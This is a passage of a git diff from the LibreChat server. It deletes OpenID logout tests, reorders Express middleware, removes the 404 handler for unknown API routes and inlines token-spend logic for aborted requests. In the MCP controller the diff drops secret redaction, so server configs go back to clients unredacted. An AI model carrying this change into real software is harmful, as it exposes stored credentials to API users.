- const body = res.send.mock.calls[0][0];
- const url = new URL(body.redirect);
- expect(url.searchParams.get('post_logout_redirect_uri')).toBe(
- 'https://custom.example.com/logged-out',
- );
- });
-
- it('defaults to DOMAIN_CLIENT/login when OPENID_POST_LOGOUT_REDIRECT_URI is unset', async () => {
- delete process.env.OPENID_POST_LOGOUT_REDIRECT_URI;
- const req = buildReq();
- const res = buildRes();
-
- await logoutController(req, res);
-
- const body = res.send.mock.calls[0][0];
- const url = new URL(body.redirect);
- expect(url.searchParams.get('post_logout_redirect_uri')).toBe(
- 'https://app.example.com/login',
- );
- });
- });
-
- describe('OpenID config not available', () => {
- it('warns and returns no redirect when getOpenIdConfig throws', async () => {
- mockGetOpenIdConfig.mockImplementation(() => {
- throw new Error('OpenID configuration has not been initialized');
- });
- const req = buildReq();
- const res = buildRes();
-
- await logoutController(req, res);
-
- const body = res.send.mock.calls[0][0];
- expect(body.redirect).toBeUndefined();
- expect(mockLogger.warn).toHaveBeenCalledWith(
- expect.stringContaining('OpenID config not available'),
- 'OpenID configuration has not been initialized',
- );
- });
- });
-
- describe('end_session_endpoint not in metadata', () => {
- it('warns and returns no redirect when end_session_endpoint is missing', async () => {
- mockGetOpenIdConfig.mockReturnValue({
- serverMetadata: () => ({}),
- });
- const req = buildReq();
- const res = buildRes();
-
- await logoutController(req, res);
-
- const body = res.send.mock.calls[0][0];
- expect(body.redirect).toBeUndefined();
- expect(mockLogger.warn).toHaveBeenCalledWith(
- expect.stringContaining('end_session_endpoint not found'),
- );
- });
- });
-
- describe('error handling', () => {
- it('returns 500 on logoutUser error', async () => {
- mockLogoutUser.mockRejectedValue(new Error('session error'));
- const req = buildReq();
- const res = buildRes();
-
- await logoutController(req, res);
-
- expect(res.status).toHaveBeenCalledWith(500);
- expect(res.json).toHaveBeenCalledWith({ message: 'session error' });
- });
- });
-
- describe('cookie clearing', () => {
- it('clears all auth cookies on successful logout', async () => {
- const req = buildReq();
- const res = buildRes();
-
- await logoutController(req, res);
-
- expect(res.clearCookie).toHaveBeenCalledWith('refreshToken');
- expect(res.clearCookie).toHaveBeenCalledWith('openid_access_token');
- expect(res.clearCookie).toHaveBeenCalledWith('openid_id_token');
- expect(res.clearCookie).toHaveBeenCalledWith('openid_user_id');
- expect(res.clearCookie).toHaveBeenCalledWith('token_provider');
- });
- });
-
- describe('URL length limit and logout_hint fallback', () => {
- it('uses logout_hint when id_token makes URL exceed default limit (2000 chars)', async () => {
- const longIdToken = 'a'.repeat(3000);
- const req = buildReq({
- user: { _id: 'user1', openidId: 'oid1', provider: 'openid', email: 'user@example.com' },
- session: {
- openidTokens: { refreshToken: 'srt', idToken: longIdToken },
- destroy: jest.fn(),
- },
- });
- const res = buildRes();
-
- await logoutController(req, res);
-
- const body = res.send.mock.calls[0][0];
- expect(body.redirect).not.toContain('id_token_hint=');
- expect(body.redirect).toContain('logout_hint=user%40example.com');
- expect(body.redirect).toContain('client_id=my-client-id');
- expect(mockLogger.debug).toHaveBeenCalledWith(expect.stringContaining('Logout URL too long'));
- });
-
- it('uses id_token_hint when URL is within default limit', async () => {
- const shortIdToken = 'short-token';
- const req = buildReq({
- session: {
- openidTokens: { refreshToken: 'srt', idToken: shortIdToken },
- destroy: jest.fn(),
- },
- });
- const res = buildRes();
-
- await logoutController(req, res);
-
- const body = res.send.mock.calls[0][0];
- expect(body.redirect).toContain('id_token_hint=short-token');
- expect(body.redirect).not.toContain('logout_hint=');
- expect(body.redirect).not.toContain('client_id=');
- });
-
- it('respects custom OPENID_MAX_LOGOUT_URL_LENGTH', async () => {
- process.env.OPENID_MAX_LOGOUT_URL_LENGTH = '500';
- const mediumIdToken = 'a'.repeat(600);
- const req = buildReq({
- user: { _id: 'user1', openidId: 'oid1', provider: 'openid', email: 'user@example.com' },
- session: {
- openidTokens: { refreshToken: 'srt', idToken: mediumIdToken },
- destroy: jest.fn(),
- },
- });
- const res = buildRes();
-
- await logoutController(req, res);
-
- const body = res.send.mock.calls[0][0];
- expect(body.redirect).not.toContain('id_token_hint=');
- expect(body.redirect).toContain('logout_hint=user%40example.com');
- });
-
- it('uses username as logout_hint when email is not available', async () => {
- const longIdToken = 'a'.repeat(3000);
- const req = buildReq({
- user: {
- _id: 'user1',
- openidId: 'oid1',
- provider: 'openid',
- username: 'testuser',
- },
- session: {
- openidTokens: { refreshToken: 'srt', idToken: longIdToken },
- destroy: jest.fn(),
- },
- });
- const res = buildRes();
-
- await logoutController(req, res);
-
- const body = res.send.mock.calls[0][0];
- expect(body.redirect).toContain('logout_hint=testuser');
- });
-
- it('uses openidId as logout_hint when email and username are not available', async () => {
- const longIdToken = 'a'.repeat(3000);
- const req = buildReq({
- user: { _id: 'user1', openidId: 'unique-oid-123', provider: 'openid' },
- session: {
- openidTokens: { refreshToken: 'srt', idToken: longIdToken },
- destroy: jest.fn(),
- },
- });
- const res = buildRes();
-
- await logoutController(req, res);
-
- const body = res.send.mock.calls[0][0];
- expect(body.redirect).toContain('logout_hint=unique-oid-123');
- });
-
- it('uses openidId as logout_hint when email and username are explicitly null', async () => {
- const longIdToken = 'a'.repeat(3000);
- const req = buildReq({
- user: {
- _id: 'user1',
- openidId: 'oid-without-email',
- provider: 'openid',
- email: null,
- username: null,
- },
- session: {
- openidTokens: { refreshToken: 'srt', idToken: longIdToken },
- destroy: jest.fn(),
- },
- });
- const res = buildRes();
-
- await logoutController(req, res);
-
- const body = res.send.mock.calls[0][0];
- expect(body.redirect).not.toContain('id_token_hint=');
- expect(body.redirect).toContain('logout_hint=oid-without-email');
- expect(body.redirect).toContain('client_id=my-client-id');
- });
-
- it('uses only client_id when absolutely no hint is available', async () => {
- const longIdToken = 'a'.repeat(3000);
- const req = buildReq({
- user: {
- _id: 'user1',
- openidId: '',
- provider: 'openid',
- email: '',
- username: '',
- },
- session: {
- openidTokens: { refreshToken: 'srt', idToken: longIdToken },
- destroy: jest.fn(),
- },
- });
- const res = buildRes();
-
- await logoutController(req, res);
-
- const body = res.send.mock.calls[0][0];
- expect(body.redirect).not.toContain('id_token_hint=');
- expect(body.redirect).not.toContain('logout_hint=');
- expect(body.redirect).toContain('client_id=my-client-id');
- });
-
- it('warns about missing OPENID_CLIENT_ID when URL is too long', async () => {
- delete process.env.OPENID_CLIENT_ID;
- const longIdToken = 'a'.repeat(3000);
- const req = buildReq({
- user: { _id: 'user1', openidId: 'oid1', provider: 'openid', email: 'user@example.com' },
- session: {
- openidTokens: { refreshToken: 'srt', idToken: longIdToken },
- destroy: jest.fn(),
- },
- });
- const res = buildRes();
-
- await logoutController(req, res);
-
- const body = res.send.mock.calls[0][0];
- expect(body.redirect).not.toContain('id_token_hint=');
- expect(body.redirect).toContain('logout_hint=');
- expect(body.redirect).not.toContain('client_id=');
- expect(mockLogger.warn).toHaveBeenCalledWith(
- expect.stringContaining('OPENID_CLIENT_ID is not set'),
- );
- });
-
- it('falls back to logout_hint for cookie-sourced long token', async () => {
- const longCookieToken = 'a'.repeat(3000);
- cookies.parse.mockReturnValue({
- refreshToken: 'cookie-rt',
- openid_id_token: longCookieToken,
- });
- const req = buildReq({
- user: { _id: 'user1', openidId: 'oid1', provider: 'openid', email: 'user@example.com' },
- session: { destroy: jest.fn() },
- });
- const res = buildRes();
-
- await logoutController(req, res);
-
- const body = res.send.mock.calls[0][0];
- expect(body.redirect).not.toContain('id_token_hint=');
- expect(body.redirect).toContain('logout_hint=user%40example.com');
- expect(body.redirect).toContain('client_id=my-client-id');
- });
-
- it('keeps id_token_hint when projected URL length equals the max', async () => {
- const baseUrl = new URL('https://idp.example.com/logout');
- baseUrl.searchParams.set('post_logout_redirect_uri', 'https://app.example.com/login');
- const baseLength = baseUrl.toString().length;
- const tokenLength = 2000 - baseLength - '&id_token_hint='.length;
- const exactToken = 'a'.repeat(tokenLength);
-
- const req = buildReq({
- session: {
- openidTokens: { refreshToken: 'srt', idToken: exactToken },
- destroy: jest.fn(),
- },
- });
- const res = buildRes();
-
- await logoutController(req, res);
-
- const body = res.send.mock.calls[0][0];
- expect(body.redirect).toContain('id_token_hint=');
- expect(body.redirect).not.toContain('logout_hint=');
- });
-
- it('falls back to logout_hint when projected URL is one char over the max', async () => {
- const baseUrl = new URL('https://idp.example.com/logout');
- baseUrl.searchParams.set('post_logout_redirect_uri', 'https://app.example.com/login');
- const baseLength = baseUrl.toString().length;
- const tokenLength = 2000 - baseLength - '&id_token_hint='.length + 1;
- const overToken = 'a'.repeat(tokenLength);
-
- const req = buildReq({
- user: { _id: 'user1', openidId: 'oid1', provider: 'openid', email: 'user@example.com' },
- session: {
- openidTokens: { refreshToken: 'srt', idToken: overToken },
- destroy: jest.fn(),
- },
- });
- const res = buildRes();
-
- await logoutController(req, res);
-
- const body = res.send.mock.calls[0][0];
- expect(body.redirect).not.toContain('id_token_hint=');
- expect(body.redirect).toContain('logout_hint=');
- });
- });
-
- describe('invalid OPENID_MAX_LOGOUT_URL_LENGTH values', () => {
- it('silently uses default when value is empty', async () => {
- process.env.OPENID_MAX_LOGOUT_URL_LENGTH = '';
- const req = buildReq();
- const res = buildRes();
-
- await logoutController(req, res);
-
- expect(mockLogger.warn).not.toHaveBeenCalledWith(
- expect.stringContaining('Invalid OPENID_MAX_LOGOUT_URL_LENGTH'),
- );
- const body = res.send.mock.calls[0][0];
- expect(body.redirect).toContain('id_token_hint=small-id-token');
- });
-
- it('warns and uses default for partial numeric string', async () => {
- process.env.OPENID_MAX_LOGOUT_URL_LENGTH = '500abc';
- const req = buildReq();
- const res = buildRes();
-
- await logoutController(req, res);
-
- expect(mockLogger.warn).toHaveBeenCalledWith(
- expect.stringContaining('Invalid OPENID_MAX_LOGOUT_URL_LENGTH'),
- );
- const body = res.send.mock.calls[0][0];
- expect(body.redirect).toContain('id_token_hint=small-id-token');
- });
-
- it('warns and uses default for zero value', async () => {
- process.env.OPENID_MAX_LOGOUT_URL_LENGTH = '0';
- const req = buildReq();
- const res = buildRes();
-
- await logoutController(req, res);
-
- expect(mockLogger.warn).toHaveBeenCalledWith(
- expect.stringContaining('Invalid OPENID_MAX_LOGOUT_URL_LENGTH'),
- );
- const body = res.send.mock.calls[0][0];
- expect(body.redirect).toContain('id_token_hint=small-id-token');
- });
-
- it('warns and uses default for negative value', async () => {
- process.env.OPENID_MAX_LOGOUT_URL_LENGTH = '-1';
- const req = buildReq();
- const res = buildRes();
-
- await logoutController(req, res);
-
- expect(mockLogger.warn).toHaveBeenCalledWith(
- expect.stringContaining('Invalid OPENID_MAX_LOGOUT_URL_LENGTH'),
- );
- const body = res.send.mock.calls[0][0];
- expect(body.redirect).toContain('id_token_hint=small-id-token');
- });
-
- it('warns and uses default for non-numeric string', async () => {
- process.env.OPENID_MAX_LOGOUT_URL_LENGTH = 'abc';
- const req = buildReq();
- const res = buildRes();
-
- await logoutController(req, res);
-
- expect(mockLogger.warn).toHaveBeenCalledWith(
- expect.stringContaining('Invalid OPENID_MAX_LOGOUT_URL_LENGTH'),
- );
- const body = res.send.mock.calls[0][0];
- expect(body.redirect).toContain('id_token_hint=small-id-token');
- });
- });
-});
diff --git a/api/server/controllers/mcp.js b/api/server/controllers/mcp.js
index 729f01da9d..e5dfff61ca 100644
--- a/api/server/controllers/mcp.js
+++ b/api/server/controllers/mcp.js
@@ -7,11 +7,9 @@
*/
const { logger } = require('@librechat/data-schemas');
const {
- MCPErrorCodes,
- redactServerSecrets,
- redactAllServerSecrets,
isMCPDomainNotAllowedError,
isMCPInspectionFailedError,
+ MCPErrorCodes,
} = require('@librechat/api');
const { Constants, MCPServerUserInputSchema } = require('librechat-data-provider');
const { cacheMCPServerTools, getMCPServerTools } = require('~/server/services/Config');
@@ -183,8 +181,10 @@ const getMCPServersList = async (req, res) => {
return res.status(401).json({ message: 'Unauthorized' });
}
+ // 2. Get all server configs from registry (YAML + DB)
const serverConfigs = await getMCPServersRegistry().getAllServerConfigs(userId);
- return res.json(redactAllServerSecrets(serverConfigs));
+
+ return res.json(serverConfigs);
} catch (error) {
logger.error('[getMCPServersList]', error);
res.status(500).json({ error: error.message });
@@ -215,7 +215,7 @@ const createMCPServerController = async (req, res) => {
);
res.status(201).json({
serverName: result.serverName,
- ...redactServerSecrets(result.config),
+ ...result.config,
});
} catch (error) {
logger.error('[createMCPServer]', error);
@@ -243,7 +243,7 @@ const getMCPServerById = async (req, res) => {
return res.status(404).json({ message: 'MCP server not found' });
}
- res.status(200).json(redactServerSecrets(parsedConfig));
+ res.status(200).json(parsedConfig);
} catch (error) {
logger.error('[getMCPServerById]', error);
res.status(500).json({ message: error.message });
@@ -274,7 +274,7 @@ const updateMCPServerController = async (req, res) => {
userId,
);
- res.status(200).json(redactServerSecrets(parsedConfig));
+ res.status(200).json(parsedConfig);
} catch (error) {
logger.error('[updateMCPServer]', error);
const mcpErrorResponse = handleMCPError(error, res);
diff --git a/api/server/experimental.js b/api/server/experimental.js
index 7b60ad7fd2..4a457abf61 100644
--- a/api/server/experimental.js
+++ b/api/server/experimental.js
@@ -14,7 +14,6 @@ const { logger } = require('@librechat/data-schemas');
const mongoSanitize = require('express-mongo-sanitize');
const {
isEnabled,
- apiNotFound,
ErrorController,
performStartupChecks,
handleJsonParseError,
@@ -298,7 +297,6 @@ if (cluster.isMaster) {
/** Routes */
app.use('/oauth', routes.oauth);
app.use('/api/auth', routes.auth);
- app.use('/api/admin', routes.adminAuth);
app.use('/api/actions', routes.actions);
app.use('/api/keys', routes.keys);
app.use('/api/api-keys', routes.apiKeys);
@@ -312,6 +310,7 @@ if (cluster.isMaster) {
app.use('/api/endpoints', routes.endpoints);
app.use('/api/balance', routes.balance);
app.use('/api/models', routes.models);
+ app.use('/api/plugins', routes.plugins);
app.use('/api/config', routes.config);
app.use('/api/assistants', routes.assistants);
app.use('/api/files', await routes.files.initialize());
@@ -325,8 +324,8 @@ if (cluster.isMaster) {
app.use('/api/tags', routes.tags);
app.use('/api/mcp', routes.mcp);
- /** 404 for unmatched API routes */
- app.use('/api', apiNotFound);
+ /** Error handler */
+ app.use(ErrorController);
/** SPA fallback - serve index.html for all unmatched routes */
app.use((req, res) => {
@@ -344,9 +343,6 @@ if (cluster.isMaster) {
res.send(updatedIndexHtml);
});
- /** Error handler (must be last - Express identifies error middleware by its 4-arg signature) */
- app.use(ErrorController);
-
/** Start listening on shared port (cluster will distribute connections) */
app.listen(port, host, async (err) => {
if (err) {
diff --git a/api/server/index.js b/api/server/index.js
index f034f10236..193eb423ad 100644
--- a/api/server/index.js
+++ b/api/server/index.js
@@ -12,14 +12,12 @@ const { logger } = require('@librechat/data-schemas');
const mongoSanitize = require('express-mongo-sanitize');
const {
isEnabled,
- apiNotFound,
ErrorController,
- memoryDiagnostics,
performStartupChecks,
handleJsonParseError,
+ initializeFileStorage,
GenerationJobManager,
createStreamServices,
- initializeFileStorage,
} = require('@librechat/api');
const { connectDb, indexSync } = require('~/db');
const initializeOAuthReconnectManager = require('./services/initializeOAuthReconnectManager');
@@ -164,10 +162,8 @@ const startServer = async () => {
app.use('/api/tags', routes.tags);
app.use('/api/mcp', routes.mcp);
- /** 404 for unmatched API routes */
- app.use('/api', apiNotFound);
+ app.use(ErrorController);
- /** SPA fallback - serve index.html for all unmatched routes */
app.use((req, res) => {
res.set({
'Cache-Control': process.env.INDEX_CACHE_CONTROL || 'no-cache, no-store, must-revalidate',
@@ -183,9 +179,6 @@ const startServer = async () => {
res.send(updatedIndexHtml);
});
- /** Error handler (must be last - Express identifies error middleware by its 4-arg signature) */
- app.use(ErrorController);
-
app.listen(port, host, async (err) => {
if (err) {
logger.error('Failed to start server:', err);
@@ -208,11 +201,6 @@ const startServer = async () => {
const streamServices = createStreamServices();
GenerationJobManager.configure(streamServices);
GenerationJobManager.initialize();
-
- const inspectFlags = process.execArgv.some((arg) => arg.startsWith('--inspect'));
- if (inspectFlags || isEnabled(process.env.MEM_DIAG)) {
- memoryDiagnostics.start();
- }
});
};
diff --git a/api/server/index.spec.js b/api/server/index.spec.js
index 7b3d062fce..c73c605518 100644
--- a/api/server/index.spec.js
+++ b/api/server/index.spec.js
@@ -100,40 +100,6 @@ describe('Server Configuration', () => {
expect(response.headers['expires']).toBe('0');
});
- it('should return 404 JSON for undefined API routes', async () => {
- const response = await request(app).get('/api/nonexistent');
- expect(response.status).toBe(404);
- expect(response.body).toEqual({ message: 'Endpoint not found' });
- });
-
- it('should return 404 JSON for nested undefined API routes', async () => {
- const response = await request(app).get('/api/nonexistent/nested/path');
- expect(response.status).toBe(404);
- expect(response.body).toEqual({ message: 'Endpoint not found' });
- });
-
- it('should return 404 JSON for non-GET methods on undefined API routes', async () => {
- const post = await request(app).post('/api/nonexistent');
- expect(post.status).toBe(404);
- expect(post.body).toEqual({ message: 'Endpoint not found' });
-
- const del = await request(app).delete('/api/nonexistent');
- expect(del.status).toBe(404);
- expect(del.body).toEqual({ message: 'Endpoint not found' });
- });
-
- it('should return 404 JSON for the /api root path', async () => {
- const response = await request(app).get('/api');
- expect(response.status).toBe(404);
- expect(response.body).toEqual({ message: 'Endpoint not found' });
- });
-
- it('should serve SPA HTML for non-API unmatched routes', async () => {
- const response = await request(app).get('/this/does/not/exist');
- expect(response.status).toBe(200);
- expect(response.headers['content-type']).toMatch(/html/);
- });
-
it('should return 500 for unknown errors via ErrorController', async () => {
// Testing the error handling here on top of unit tests to ensure the middleware is correctly integrated
diff --git a/api/server/middleware/abortMiddleware.js b/api/server/middleware/abortMiddleware.js
index d39b0104a8..d07a09682d 100644
--- a/api/server/middleware/abortMiddleware.js
+++ b/api/server/middleware/abortMiddleware.js
@@ -1,19 +1,17 @@
const { logger } = require('@librechat/data-schemas');
const {
+ countTokens,
isEnabled,
sendEvent,
- countTokens,
GenerationJobManager,
- recordCollectedUsage,
sanitizeMessageForTransmit,
} = require('@librechat/api');
const { isAssistantsEndpoint, ErrorTypes } = require('librechat-data-provider');
-const { saveMessage, getConvo, updateBalance, bulkInsertTransactions } = require('~/models');
const { spendTokens, spendStructuredTokens } = require('~/models/spendTokens');
const { truncateText, smartTruncateText } = require('~/app/clients/prompts');
-const { getMultiplier, getCacheMultiplier } = require('~/models/tx');
const clearPendingReq = require('~/cache/clearPendingReq');
const { sendError } = require('~/server/middleware/error');
+const { saveMessage, getConvo } = require('~/models');
const { abortRun } = require('./abortRun');
/**
@@ -29,35 +27,62 @@ const { abortRun } = require('./abortRun');
* @param {string} params.conversationId - Conversation ID
* @param {Array} params.collectedUsage - Usage metadata from all models
* @param {string} [params.fallbackModel] - Fallback model name if not in usage
- * @param {string} [params.messageId] - The response message ID for transaction correlation
*/
-async function spendCollectedUsage({
- userId,
- conversationId,
- collectedUsage,
- fallbackModel,
- messageId,
-}) {
+async function spendCollectedUsage({ userId, conversationId, collectedUsage, fallbackModel }) {
if (!collectedUsage || collectedUsage.length === 0) {
return;
}
- await recordCollectedUsage(
- {
- spendTokens,
- spendStructuredTokens,
- pricing: { getMultiplier, getCacheMultiplier },
- bulkWriteOps: { insertMany: bulkInsertTransactions, updateBalance },
- },
- {
- user: userId,
- conversationId,
- collectedUsage,
+ const spendPromises = [];
+
+ for (const usage of collectedUsage) {
+ if (!usage) {
+ continue;
+ }
+
+ // Support both OpenAI format (input_token_details) and Anthropic format (cache_*_input_tokens)
+ const cache_creation =
+ Number(usage.input_token_details?.cache_creation) ||
+ Number(usage.cache_creation_input_tokens) ||
+ 0;
+ const cache_read =
+ Number(usage.input_token_details?.cache_read) || Number(usage.cache_read_input_tokens) || 0;
+
+ const txMetadata = {
context: 'abort',
- messageId,
- model: fallbackModel,
- },
- );
+ conversationId,
+ user: userId,
+ model: usage.model ?? fallbackModel,
+ };
+
+ if (cache_creation > 0 || cache_read > 0) {
+ spendPromises.push(
+ spendStructuredTokens(txMetadata, {
+ promptTokens: {
+ input: usage.input_tokens,
+ write: cache_creation,
+ read: cache_read,
+ },
+ completionTokens: usage.output_tokens,
+ }).catch((err) => {
+ logger.error('[abortMiddleware] Error spending structured tokens for abort', err);
+ }),
+ );
+ continue;
+ }
+
+ spendPromises.push(
+ spendTokens(txMetadata, {
+ promptTokens: usage.input_tokens,
+ completionTokens: usage.output_tokens,
+ }).catch((err) => {
+ logger.error('[abortMiddleware] Error spending tokens for abort', err);
+ }),
+ );
+ }
+
+ // Wait for all token spending to complete
+ await Promise.all(spendPromises);
// Clear the array to prevent double-spending from the AgentClient finally block.
// The collectedUsage array is shared by reference with AgentClient.collectedUsage,
@@ -119,7 +144,6 @@ async function abortMessage(req, res) {
conversationId: jobData?.conversationId,
collectedUsage,
fallbackModel: jobData?.model,
- messageId: jobData?.responseMessageId,
});
} else {
// Fallback: no collected usage, use text-based token counting for primary model only
@@ -268,5 +292,4 @@ const handleAbortError = async (res, req, error, data) => {
module.exports = {
handleAbort,
handleAbortError,
- spendCollectedUsage,
};
diff --git a/api/server/middleware/abortMiddleware.spec.js b/api/server/middleware/abortMiddleware.spec.js
index 795814a928..93f2ce558b 100644
--- a/api/server/middleware/abortMiddleware.spec.js
+++ b/api/server/middleware/abortMiddleware.spec.js
@@ -4,32 +4,16 @@
* This tests the token spending logic for abort scenarios,
* particularly for parallel agents (addedConvo) where multiple
* models need their tokens spent.
- *
- * spendCollectedUsage delegates to recordCollectedUsage from @librechat/api,
- * passing pricing + bulkWriteOps deps, with context: 'abort'.
- * After spending, it clears the collectedUsage array to prevent double-spending
- * from the AgentClient finally block (which shares the same array reference).
*/
const mockSpendTokens = jest.fn().mockResolvedValue();
const mockSpendStructuredTokens = jest.fn().mockResolvedValue();
-const mockRecordCollectedUsage = jest
- .fn()
- .mockResolvedValue({ input_tokens: 100, output_tokens: 50 });
-
-const mockGetMultiplier = jest.fn().mockReturnValue(1);
-const mockGetCacheMultiplier = jest.fn().mockReturnValue(null);
jest.mock('~/models/spendTokens', () => ({
spendTokens: (...args) => mockSpendTokens(...args),
spendStructuredTokens: (...args) => mockSpendStructuredTokens(...args),
}));
-jest.mock('~/models/tx', () => ({
- getMultiplier: mockGetMultiplier,
- getCacheMultiplier: mockGetCacheMultiplier,
-}));
-
jest.mock('@librechat/data-schemas', () => ({
logger: {
debug: jest.fn(),
@@ -46,7 +30,6 @@ jest.mock('@librechat/api', () => ({
GenerationJobManager: {
abortJob: jest.fn(),
},
- recordCollectedUsage: mockRecordCollectedUsage,
sanitizeMessageForTransmit: jest.fn((msg) => msg),
}));
@@ -66,27 +49,94 @@ jest.mock('~/server/middleware/error', () => ({
sendError: jest.fn(),
}));
-const mockUpdateBalance = jest.fn().mockResolvedValue({});
-const mockBulkInsertTransactions = jest.fn().mockResolvedValue(undefined);
jest.mock('~/models', () => ({
saveMessage: jest.fn().mockResolvedValue(),
getConvo: jest.fn().mockResolvedValue({ title: 'Test Chat' }),
- updateBalance: mockUpdateBalance,
- bulkInsertTransactions: mockBulkInsertTransactions,
}));
jest.mock('./abortRun', () => ({
abortRun: jest.fn(),
}));
-const { spendCollectedUsage } = require('./abortMiddleware');
+// Import the module after mocks are set up
+// We need to extract the spendCollectedUsage function for testing
+// Since it's not exported, we'll test it through the handleAbort flow
describe('abortMiddleware - spendCollectedUsage', () => {
beforeEach(() => {
jest.clearAllMocks();
});
- describe('spendCollectedUsage delegation', () => {
+ describe('spendCollectedUsage logic', () => {
+ // Since spendCollectedUsage is not exported, we test the logic directly
+ // by replicating the function here for unit testing
+
+ const spendCollectedUsage = async ({
+ userId,
+ conversationId,
+ collectedUsage,
+ fallbackModel,
+ }) => {
+ if (!collectedUsage || collectedUsage.length === 0) {
+ return;
+ }
+
+ const spendPromises = [];
+
+ for (const usage of collectedUsage) {
+ if (!usage) {
+ continue;
+ }
+
+ const cache_creation =
+ Number(usage.input_token_details?.cache_creation) ||
+ Number(usage.cache_creation_input_tokens) ||
+ 0;
+ const cache_read =
+ Number(usage.input_token_details?.cache_read) ||
+ Number(usage.cache_read_input_tokens) ||
+ 0;
+
+ const txMetadata = {
+ context: 'abort',
+ conversationId,
+ user: userId,
+ model: usage.model ?? fallbackModel,
+ };
+
+ if (cache_creation > 0 || cache_read > 0) {
+ spendPromises.push(
+ mockSpendStructuredTokens(txMetadata, {
+ promptTokens: {
+ input: usage.input_tokens,
+ write: cache_creation,
+ read: cache_read,
+ },
+ completionTokens: usage.output_tokens,
+ }).catch(() => {
+ // Log error but don't throw
+ }),
+ );
+ continue;
+ }
+
+ spendPromises.push(
+ mockSpendTokens(txMetadata, {
+ promptTokens: usage.input_tokens,
+ completionTokens: usage.output_tokens,
+ }).catch(() => {
+ // Log error but don't throw
+ }),
+ );
+ }
+
+ // Wait for all token spending to complete
+ await Promise.all(spendPromises);
+
+ // Clear the array to prevent double-spending
+ collectedUsage.length = 0;
+ };
+
it('should return early if collectedUsage is empty', async () => {
await spendCollectedUsage({
userId: 'user-123',
@@ -95,7 +145,8 @@ describe('abortMiddleware - spendCollectedUsage', () => {
fallbackModel: 'gpt-4',
});
- expect(mockRecordCollectedUsage).not.toHaveBeenCalled();
+ expect(mockSpendTokens).not.toHaveBeenCalled();
+ expect(mockSpendStructuredTokens).not.toHaveBeenCalled();
});
it('should return early if collectedUsage is null', async () => {
@@ -106,10 +157,28 @@ describe('abortMiddleware - spendCollectedUsage', () => {
fallbackModel: 'gpt-4',
});
- expect(mockRecordCollectedUsage).not.toHaveBeenCalled();
+ expect(mockSpendTokens).not.toHaveBeenCalled();
+ expect(mockSpendStructuredTokens).not.toHaveBeenCalled();
});
- it('should call recordCollectedUsage with abort context and full deps', async () => {
+ it('should skip null entries in collectedUsage', async () => {
+ const collectedUsage = [
+ { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
+ null,
+ { input_tokens: 200, output_tokens: 60, model: 'gpt-4' },
+ ];
+
+ await spendCollectedUsage({
+ userId: 'user-123',
+ conversationId: 'convo-123',
+ collectedUsage,
+ fallbackModel: 'gpt-4',
+ });
+
+ expect(mockSpendTokens).toHaveBeenCalledTimes(2);
+ });
+
+ it('should spend tokens for single model', async () => {
const collectedUsage = [{ input_tokens: 100, output_tokens: 50, model: 'gpt-4' }];
await spendCollectedUsage({
@@ -117,35 +186,21 @@ describe('abortMiddleware - spendCollectedUsage', () => {
conversationId: 'convo-123',
collectedUsage,
fallbackModel: 'gpt-4',
- messageId: 'msg-123',
});
- expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1);
- expect(mockRecordCollectedUsage).toHaveBeenCalledWith(
- {
- spendTokens: expect.any(Function),
- spendStructuredTokens: expect.any(Function),
- pricing: {
- getMultiplier: mockGetMultiplier,
- getCacheMultiplier: mockGetCacheMultiplier,
- },
- bulkWriteOps: {
- insertMany: mockBulkInsertTransactions,
- updateBalance: mockUpdateBalance,
- },
- },
- {
- user: 'user-123',
- conversationId: 'convo-123',
- collectedUsage,
+ expect(mockSpendTokens).toHaveBeenCalledTimes(1);
+ expect(mockSpendTokens).toHaveBeenCalledWith(
+ expect.objectContaining({
context: 'abort',
- messageId: 'msg-123',
+ conversationId: 'convo-123',
+ user: 'user-123',
model: 'gpt-4',
- },
+ }),
+ { promptTokens: 100, completionTokens: 50 },
);
});
- it('should pass context abort for multiple models (parallel agents)', async () => {
+ it('should spend tokens for multiple models (parallel agents)', async () => {
const collectedUsage = [
{ input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
{ input_tokens: 80, output_tokens: 40, model: 'claude-3' },
@@ -159,17 +214,136 @@ describe('abortMiddleware - spendCollectedUsage', () => {
fallbackModel: 'gpt-4',
});
- expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1);
- expect(mockRecordCollectedUsage).toHaveBeenCalledWith(
- expect.any(Object),
- expect.objectContaining({
- context: 'abort',
- collectedUsage,
- }),
+ expect(mockSpendTokens).toHaveBeenCalledTimes(3);
+
+ // Verify each model was called
+ expect(mockSpendTokens).toHaveBeenNthCalledWith(
+ 1,
+ expect.objectContaining({ model: 'gpt-4' }),
+ { promptTokens: 100, completionTokens: 50 },
+ );
+ expect(mockSpendTokens).toHaveBeenNthCalledWith(
+ 2,
+ expect.objectContaining({ model: 'claude-3' }),
+ { promptTokens: 80, completionTokens: 40 },
+ );
+ expect(mockSpendTokens).toHaveBeenNthCalledWith(
+ 3,
+ expect.objectContaining({ model: 'gemini-pro' }),
+ { promptTokens: 120, completionTokens: 60 },
);
});
+ it('should use fallbackModel when usage.model is missing', async () => {
+ const collectedUsage = [{ input_tokens: 100, output_tokens: 50 }];
+
+ await spendCollectedUsage({
+ userId: 'user-123',
+ conversationId: 'convo-123',
+ collectedUsage,
+ fallbackModel: 'fallback-model',
+ });
+
+ expect(mockSpendTokens).toHaveBeenCalledWith(
+ expect.objectContaining({ model: 'fallback-model' }),
+ expect.any(Object),
+ );
+ });
+
+ it('should use spendStructuredTokens for OpenAI format cache tokens', async () => {
+ const collectedUsage = [
+ {
+ input_tokens: 100,
+ output_tokens: 50,
+ model: 'gpt-4',
+ input_token_details: {
+ cache_creation: 20,
+ cache_read: 10,
+ },
+ },
+ ];
+
+ await spendCollectedUsage({
+ userId: 'user-123',
+ conversationId: 'convo-123',
+ collectedUsage,
+ fallbackModel: 'gpt-4',
+ });
+
+ expect(mockSpendStructuredTokens).toHaveBeenCalledTimes(1);
+ expect(mockSpendTokens).not.toHaveBeenCalled();
+ expect(mockSpendStructuredTokens).toHaveBeenCalledWith(
+ expect.objectContaining({ model: 'gpt-4', context: 'abort' }),
+ {
+ promptTokens: {
+ input: 100,
+ write: 20,
+ read: 10,
+ },
+ completionTokens: 50,
+ },
+ );
+ });
+
+ it('should use spendStructuredTokens for Anthropic format cache tokens', async () => {
+ const collectedUsage = [
+ {
+ input_tokens: 100,
+ output_tokens: 50,
+ model: 'claude-3',
+ cache_creation_input_tokens: 25,
+ cache_read_input_tokens: 15,
+ },
+ ];
+
